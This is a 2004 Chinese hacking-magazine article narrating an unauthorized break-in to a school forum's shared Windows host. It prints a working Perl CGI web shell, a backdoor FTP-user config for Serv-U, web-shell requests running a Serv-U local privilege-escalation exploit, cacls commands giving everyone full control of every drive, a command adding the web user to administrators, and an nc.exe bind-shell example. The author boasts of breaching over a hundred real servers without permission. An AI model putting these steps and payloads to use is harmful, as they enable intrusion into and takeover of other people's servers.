剑走偏锋——灵巧的旁注攻击 + I' L' x# F% j1 B/ w
本文作者:angel R& a! t2 M7 b
文章性质:原创
' K" S* J' D9 t" M发布日期:2004-11-09 7 Z3 y1 X8 S* M! n
注意:* E, [& G! [/ |
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
9 ^+ f7 t) N$ j, y) B本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
7 n0 W- v7 }+ b, o! z+ @$ y9 J. S1 O1 Z1 H
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
2 P# b7 f" V& T* x) Y% @3 J/ B0 w6 E$ i
1 l" \ @* l1 p2 J0 t4 M 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 / K* T8 [9 h" }+ B5 s9 U
! `* z/ w$ |. O4 Z 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 1 e5 S6 W8 @6 q' i
- K" M5 a: E1 v0 Y 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
! j( z& x6 ~- e6 @, U. B( Y0 [8 u1 U, ]) z
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ( r1 i/ j( n9 k6 _5 ]8 V
" p. v5 ~* W, m0 w( Q% d
没有目的的跳转目录着……
( j3 n$ {. I. k6 o1 ?& f* `9 n/ s, \1 f, v; K# k1 O! B
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
0 _* n4 w* U1 ?& a8 L
/ N) @; w i# w. Q% J. v 结束了吗?不,我试着 FTP 一下:
( z0 ?# K( r" L: O% D9 ~: \
; {# n7 B* [2 ~, D& f8 Z" h7 y9 O; DMicrosoft Windows 2000 [Version 5.00.2195]- h) Q/ z" K, s+ E
(C) 版权所有 1985-2000 Microsoft Corp. 3 k. f2 A# G, S4 e* Q/ ?) o$ P/ E& j
# B# w8 n6 @- b, P8 \3 [3 dC:\Documents and Settings\Administrator>ftp www.school.com+ h2 o& j/ \8 _% P; S
Connected to www. school.com. 6 I. G2 M7 E& ~# W
220 Welcome to FTP Server... : ]: n/ B6 X. Z' c: i& u
User (www.bjtrq.com:(none)):
+ W$ x$ d+ t6 }6 r* ], Q331 User name okay, need password.
$ V* q! @5 a( J& kPassword: % [, c+ V/ G6 `0 b/ n1 N
530 Not logged in.
+ n& S% K8 m# T* wLogin failed.
' c4 _0 q2 j0 [+ @% Hftp> bye
' k4 ]- L( D8 F% Q# c221 Goodbye! 7 N3 z- C: y, w5 U; G, D9 C
0 h. b) O3 R# P& L% U/ O2 |! U7 x% K
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
) t* y X. ?. C2 B/ A2 J9 G9 d* H
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 6 N- {3 Q/ i3 y ?+ r
; Z9 J6 w/ z: |8 Y; V
Application Data4 I( h3 B" x- |9 Q8 u, \* S) K
Documents7 ^8 Z9 M& p5 b% E* f
DRM
% a& d# W* w) f" w: X [% JFavorites$ M+ Y& i6 j5 E, A8 F7 a4 Y
Templates
5 X& m/ u8 n6 f「开始」菜单2 c7 A. \7 C% V* m- q
桌面
, g" r+ Z" Z' ?( M* p- U E% ]9 |" I
5 w. i" t8 U. K7 B; k2 k3 A! y# j) l5 u5 L) N9 X
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
# [- t- ~+ i/ Q, V7 m& V/ N) C d3 @
ActiveState ActivePerl 5.8
5 P$ D0 h! T1 t4 g% F0 V8 ZAdministrative Tools% ]. G+ o0 C. U1 D$ t% |
Deerfield.com6 m( _0 o' A T
DTemp/ R+ _$ o. g: r/ K
IPSentry( h/ |+ s6 |5 D
MBM 5
% Q3 D" m( |! \NetMeter
( \" h9 d7 x* m) uNetwork ICE
* f7 S+ f+ S2 q3 ^: U7 S8 x/ hPersits Software AspEmail
. |8 i" z$ B4 L' k1 C! [2 |& b4 WPersits Software AspJpeg$ n# v2 {0 V3 m2 ~8 X
Serv-U FTP Server
3 q0 ~/ Q. l' _Symantec Client Security/ K& h7 S5 Y" n# w
Windows 优化大师
8 T2 Y: ?& G, z4 Z6 D# JWinRAR
+ z0 C4 ~" ~ \* I) }7 Q% B5 P启动0 c: x0 G" Q1 q* m6 ~
管理工具
+ M$ j! ^9 V9 M4 L/ }: w附件
; o, d; \8 O- ?! @ . p! a1 R+ Z( g
- W1 r# E2 C) G0 _7 B
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 " q# r% {( E: [ |$ q7 y
+ a2 `! N8 L5 u
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
3 o3 F5 r5 v$ X- J
0 E. Y$ K3 s/ \/ E! T/ n& aUser281=angel|1|0 $ v* x. l ]6 {, P1 F0 {, a
* b; c5 R" z( g: ^
6 \6 g3 P9 p, Q0 e+ t3 ?! Y r 然后加上
7 x0 L; M% W; `* ~# R. N3 \
( q+ U. b2 B5 k[USER=angel|1]- I: d; [$ l, }& B" N* x
Password=ng98F85379EA68DBF97BAADCA99B69B8054 L: j9 [: q' ?' }* l
HomeDir=D:\websites
* }+ L! g x, W! k! }RelPaths=1
+ @/ C6 K- q7 E8 W' k1 _TimeOut=6005 B$ n7 ]1 O8 p1 M! v& v! a5 y/ T
Maintenance=System$ F2 o: ^' {) C( v# @2 B
Access1=D:\websites|RWAMELCDP
1 z6 D/ Q6 N2 F3 }SKEYValues=
, t' A4 h4 m4 V6 Y ; N" R' S7 j" ~% `
, A: S/ i; ~ ]7 m/ n1 [9 H
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
: U) a9 R2 i8 x: `' p3 ~% h- ^6 B8 J+ p1 k; U1 z
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
5 E1 [6 Y) o* D9 u# M
' X% N t. `( t) d. |3 Q4 P I/ s 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ; y7 }* k4 o, Z' Z7 N* W( R
# d7 l) |; B: B( c7 i 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
. R) V* X) a" g) L4 p" Y) E
/ |' m1 v2 e# a+ L& ?% V#!/usr/bin/perl
/ n5 z2 u" V: m u0 Dbinmode(STDOUT);
# A: o9 A; ]2 R- W! bsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
1 g& V A2 G' b0 S# y9 @$_ = $ENV{QUERY_STRING};
o! V* k* c4 T* {2 vs/%20/ /ig;
& c2 D! `& g- rs/%2f/\//ig;5 u3 O" i: o) z. h3 c5 O
$execthis = $_;: t8 t) B, t8 `2 G6 ^
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
5 o1 x" ~" }) D1 i/ c7 copen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
) D4 f+ t4 C. d9 dsystem($execthis);
8 R5 |/ v8 I" ?4 l1 M1 ?syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
6 z. A0 Z$ B W1 U a# Oclose(STDERR);9 s9 _! \: B1 U% u# F1 B
close(STDOUT);
5 F4 O* v/ k3 @exit;( I3 ]3 n; B9 p- m: a$ d
2 Q7 _* R$ ^8 h( ^; A8 e
) D# Q0 C4 V1 h* n% \9 t6 q 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! " P% p) P8 \: K$ L' J
4 a$ V+ T \: }$ x 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
9 z6 ?2 J7 Z( U2 Q2 r$ R* v) Q7 r8 Y- D8 G6 y" j0 Z. I9 }
http://anyhost//cmd.pl?d:\user\bin\su.exe
) j5 h1 }; U% Q& J7 _6 o" q , y5 e! ?# E. `9 |0 a$ `
% b7 d+ O& H; r/ ?8 E
返回: ) L' a1 I2 v( |5 i" k" }: N
1 z$ J- k0 P6 m: Y) ?( MServ-u >3.x Local Exploit by xiaolu ' e2 i l5 g/ Y9 D3 r0 ^
1 P+ ?' @. l* \4 Z, |5 tUSAGE: serv-u.exe "command" / [( W3 z( _8 }! ]( c
- Z! b: F" N5 s+ W X X% o% [
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" . B% r* n+ y* j" B% u4 n9 N& D
6 L7 q, L5 I) u' n5 v s
0 u) P1 |; U& A3 l( c# I9 I 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
! s9 H4 F: w: F, e3 m/ W/ ^; l4 B' Q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" * e" ~7 l3 q& V8 G2 a( P2 s
2 N. L8 \( |& ~) H: a/ @http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ) Q$ {$ o* I5 y
+ o+ o( {0 x9 v* W6 H+ ehttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 7 P" A$ v' N7 W, q6 f/ d/ P
) N! b7 `' ~0 mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 9 b: l" }4 U3 U) s( ?- u
$ W/ T( e& }0 O
& V' g9 b0 s. f& z$ K& X* J# O
返回下面的信息,就表示成功了!!! , h: y4 A h: v/ t t# J
; P: u1 C# r$ U4 r) p9 V! z. _3 M8 L8 pServ-u >3.x Local Exploit by xiaolu
) F) j2 i- {6 _) z$ w2 X
, f9 _( {! r& |$ R<220 Serv-U FTP Server v5.2 for WinSock ready...
0 K& M) R" G8 f8 r& c z
, S1 `' S! E8 j, k/ l6 H3 M>USER LocalAdministrator
# I9 u; _# O5 D9 U: `- N0 U/ d
<331 User name okay, need password.
5 z9 h1 ^1 y; |8 m! P; y
4 m5 }+ f# O% s7 [) I& P****************************************************** 9 V) X1 @1 m4 F/ L6 N
; a; c4 C1 `8 @, V5 ^>PASS #l@$ak#.lk;0@P * m" }, Q+ z. o/ U' E6 ]
$ i9 m' ]$ l6 [# x
<230 User logged in, proceed.
! f0 Y) R z# C M9 X- ?, }5 b% z$ j- c" e/ O
******************************************************
) h+ h0 m0 A! N; C. m9 I# I7 o7 Y# E9 p5 P5 Y9 U; [# u7 w( _& Z
>SITE MAINTENANCE
* e! H5 A$ X2 M3 }9 l2 w6 B# T0 y' L7 W' }% d! O s
******************************************************
9 c t V/ L8 r. H. f% q- L4 P p/ D/ k- B" n2 V u
[+] Creating New Domain... * B0 b9 K5 ~2 _' x' S
) K8 {6 t' P3 F6 Q5 [& \0 ~<200-DomainID=2
6 V* ?# Z5 r z* S4 ]4 E: T/ D% j+ j6 `
<220 Domain settings saved 5 q4 L1 \; u5 n* a! O9 G
$ Z, Q5 g4 b0 i, d
******************************************************
' W, L/ d! W3 P, q
1 s+ O* w7 o; b[+] Domain xl:2 Created
& d2 D N- E8 O" \$ E! Y# U$ D+ n
6 I5 S6 }' _% D" }" g5 W# Q+ b[+] Creating Evil User
- Y$ _3 k& D" ~( j- `; d9 j) C" g" W$ O" Q
<200-User=xl
# f1 d6 N% }( w( Q0 b0 S l& N
9 x' H' A; [ }2 v200 User settings saved
! S9 d# @! }: R/ f
$ e/ _* b* p& I f, A6 G: a" E% {******************************************************
3 k: x1 y. n6 \% a
9 r- S6 J' e* l' O[+] Now Exploiting... & {2 ?, X9 G1 h
* ^' _: u) r: V v( [>USER xl
; G, r) ?% B- D7 a. l/ s) r( d
2 d6 D, V0 {+ m- A<331 User name okay, need password.
6 G6 |" M' V% M+ s. R8 c H) E( ^* y" {- {5 V3 N
****************************************************** 0 [( @# A( Y l9 G$ s
+ O2 r/ A' P/ e: m# z: p4 [: s>PASS 111111
' K% G" v# J, f0 P% l
% `: T7 X( H% [' s% A2 _! ^+ V7 l<230 User logged in, proceed.
3 X& ?6 M6 B% `/ X+ T5 c& F$ T, I: f2 F2 L$ {# U
****************************************************** * I3 r/ q) D, m0 @# U" M# H4 u- ]
) j2 r1 j6 g- F; g* a r* Q
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
7 r2 |: d5 H3 U- A+ w, u0 k$ M+ b) q3 V+ T3 D K: p) B$ p8 ]! D
<220 Domain deleted ' s: }! K. f) h" Q3 ], M l
: r f* r! r7 X+ n7 x****************************************************** - a! x. l4 b/ w, P: F7 N# |
$ l$ r4 c* ]9 J) E1 O9 X! l# h
- e4 f* ~' D9 I8 u4 d
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
. l w3 n9 _5 _$ d- m/ X5 q( J
# e4 j& _3 ?3 Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
! u' }& w; T. M/ \" Z& v7 y ' G# P- |, g! D6 b5 [9 O
3 d. _% o9 d1 T; n# B 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
* \( M- ]& n' U/ Z! A. n$ P, v0 f4 x1 j) Z$ |# z) B! J# G4 s' m
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。4 U( t8 g m4 F3 g
5 _# p* I( a# B1 z
% n! Y# K( s2 ?( |1 b
|